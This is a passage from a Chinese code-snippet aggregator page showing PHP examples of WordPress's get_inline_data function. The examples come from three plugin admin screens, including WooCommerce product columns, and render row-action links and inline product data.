                    $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', 'xtecweekblog')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post_id)), 'untrash-' . $post->post_type . '_' . $post_id) . "'>" . __('Restore', 'xtecweekblog') . "</a>";
                } elseif (EMPTY_TRASH_DAYS) {
                    $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id) . "'>" . __('Trash', 'xtecweekblog') . "</a>";
                }
                if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                    $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id, '', true) . "'>" . __('Delete Permanently', 'xtecweekblog') . "</a>";
                }
            }
            if (in_array($post->post_status, array('pending', 'draft'))) {
                if ($can_edit_post) {
                    $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post_id))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview', 'xtecweekblog') . '</a>';
                }
            } elseif ('trash' != $post->post_status) {
                $actions['view'] = '<a href="' . get_permalink($post_id) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', 'xtecweekblog'), $custom["_xtecweekblog-name"][0])) . '" rel="permalink">' . __('View', 'xtecweekblog') . '</a>';
            }
            $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post);
            echo xtecweekblog_row_actions($actions);
            get_inline_data($post);
            break;
        case "_xtecweekblog-description":
            $custom = get_post_custom($post_id);
            if (xtecweekblog_validate_description($post_id)) {
                echo $custom["_xtecweekblog-description"][0];
            } else {
                echo '<p style="color:#FF0000">' . __('Description is not defined', 'xtecweekblog') . '</p>';
            }
            break;
        case 'thumbnail':
            if (xtecweekblog_validate_image($post_id)) {
                if (!xtecweekblog_validate_image_size($post_id)) {
                    echo '<p style="color:#FF0000">' . __('Image size is too small', 'xtecweekblog') . '</p>';
                }
                echo get_the_post_thumbnail($post_id, 'xtecweekblog');
            } else {
                echo '<p style="color:#FF0000">' . __('Custom Image is not defined', 'xtecweekblog') . '</p>';
            }
            break;
        case 'week':
            echo mysql2date('W', $post->post_date);
            break;
    }
}
开发者ID:ignacioabejaro,项目名称:xtecblocs,代码行数:75,代码来源:xtec-weekblog2.php

示例14: woocommerce_custom_product_columns

/**
 * Custom Columns for Products page
 *
 * @access public
 * @param mixed $column
 * @return void
 */
function woocommerce_custom_product_columns($column)
{
    global $post, $woocommerce, $the_product;
    if (empty($the_product) || $the_product->id != $post->ID) {
        $the_product = get_product($post);
    }
    switch ($column) {
        case "thumb":
            echo '<a href="' . get_edit_post_link($post->ID) . '">' . $the_product->get_image() . '</a>';
            break;
        case "name":
            $edit_link = get_edit_post_link($post->ID);
            $title = _draft_or_post_title();
            $post_type_object = get_post_type_object($post->post_type);
            $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
            echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
            _post_states($post);
            echo '</strong>';
            if ($post->post_parent > 0) {
                echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
            }
            // Excerpt view
            if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
                echo apply_filters('the_excerpt', $post->post_excerpt);
            }
            // Get actions
            $actions = array();
            $actions['id'] = 'ID: ' . $post->ID;
            if ($can_edit_post && 'trash' != $post->post_status) {
                $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
            }
            if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                if ('trash' == $post->post_status) {
                    $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
                } elseif (EMPTY_TRASH_DAYS) {
                    $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                }
                if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                    $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                }
            }
            if ($post_type_object->public) {
                if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                    if ($can_edit_post) {
                        $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } elseif ('trash' != $post->post_status) {
                    $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
            }
            $actions = apply_filters('post_row_actions', $actions, $post);
            echo '<div class="row-actions">';
            $i = 0;
            $action_count = sizeof($actions);
            foreach ($actions as $action => $link) {
                ++$i;
                $i == $action_count ? $sep = '' : ($sep = ' | ');
                echo "<span class='{$action}'>{$link}{$sep}</span>";
            }
            echo '</div>';
            get_inline_data($post);
            /* Custom inline data for woocommerce */
            echo '
				<div class="hidden" id="woocommerce_inline_' . $post->ID . '">
					<div class="menu_order">' . $post->menu_order . '</div>
					<div class="sku">' . $the_product->sku . '</div>
					<div class="regular_price">' . $the_product->regular_price . '</div>
					<div class="sale_price">' . $the_product->sale_price . '</div>
					<div class="weight">' . $the_product->weight . '</div>
					<div class="length">' . $the_product->length . '</div>
					<div class="width">' . $the_product->width . '</div>
					<div class="height">' . $the_product->height . '</div>
					<div class="visibility">' . $the_product->visibility . '</div>
					<div class="stock_status">' . $the_product->stock_status . '</div>
					<div class="stock">' . $the_product->stock . '</div>
					<div class="manage_stock">' . $the_product->manage_stock . '</div>
					<div class="featured">' . $the_product->featured . '</div>
					<div class="product_type">' . $the_product->product_type . '</div>
					<div class="product_is_virtual">' . $the_product->virtual . '</div>
				</div>
			';
            break;
        case "sku":
            if ($the_product->get_sku()) {
                echo $the_product->get_sku();
            } else {
                echo '<span class="na">&ndash;</span>';
            }
            break;
        case "product_type":
            if ($the_product->product_type == 'grouped') {
                echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Grouped', 'woocommerce') . '"></span>';
//.........这里部分代码省略.........
开发者ID:gumbysgoo,项目名称:bestilblomster,代码行数:101,代码来源:product.php

示例15: wpsc_product_row


//.........这里部分代码省略.........
                    echo $product_alert['display'];
                }
                ?>
			</strong>
			<?php 
                $has_var = '';
                if (wpsc_product_has_children($product->ID)) {
                    $has_var = 'wpsc_has_variation';
                }
                $actions = array();
                if ($current_user_can_edit_this_product && 'trash' != $product->post_status) {
                    $actions['edit'] = '<a class="edit-product" href="' . $edit_link . '" title="' . esc_attr(__('Edit this product', 'wpsc')) . '">' . __('Edit', 'wpsc') . '</a>';
                    $actions['quick_edit'] = "<a class='wpsc_editinline " . $has_var . "' title='" . esc_attr(__('Quick Edit', 'wpsc')) . "' href='#'>" . __('Quick Edit', 'wpsc') . "</a>";
                }
                if (in_array($product->post_status, array('pending', 'draft'))) {
                    if ($current_user_can_edit_this_product) {
                        $actions['view'] = '<a href="' . get_permalink($product->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', 'wpsc'), $title)) . '" rel="permalink">' . __('Preview', 'wpsc') . '</a>';
                    }
                } else {
                    if ('trash' != $product->post_status) {
                        $actions['view'] = '<a href="' . get_permalink($product->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', 'wpsc'), $title)) . '" rel="permalink">' . __('View', 'wpsc') . '</a>';
                    }
                }
                $actions = apply_filters('post_row_actions', $actions, $product);
                $action_count = count($actions);
                $i = 0;
                echo '<div class="row-actions">';
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($product);
                ?>
		</td>
		<?php 
                break;
            case 'image':
                /* !image case */
                ?>
			<td class="product-image ">
			<?php 
                $attached_images = (array) get_posts(array('post_type' => 'attachment', 'numberposts' => 1, 'post_status' => null, 'post_parent' => $product->ID, 'orderby' => 'menu_order', 'order' => 'ASC'));
                if (isset($product->ID) && has_post_thumbnail($product->ID)) {
                    echo get_the_post_thumbnail($product->ID, 'admin-product-thumbnails');
                } elseif (!empty($attached_images)) {
                    $attached_image = $attached_images[0];
                    $src = wp_get_attachment_url($attached_image->ID);
                    ?>
		     	<div style='width:38px;height:38px;overflow:hidden;'>
					<img title='Drag to a new position' src='<?php 
                    echo $src;
                    ?>
' alt='<?php 
                    echo $title;
                    ?>
' width='38' height='38' />
				</div>
				<?php 
                } else {
                    $image_url = WPSC_CORE_IMAGES_URL . "/no-image-uploaded.gif";
                    ?>
					<img title='Drag to a new position' src='<?php 
                    echo $image_url;
                    ?>
开发者ID:hornet9,项目名称:Morato,代码行数:67,代码来源:products.php


注:本文中的get_inline_data函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。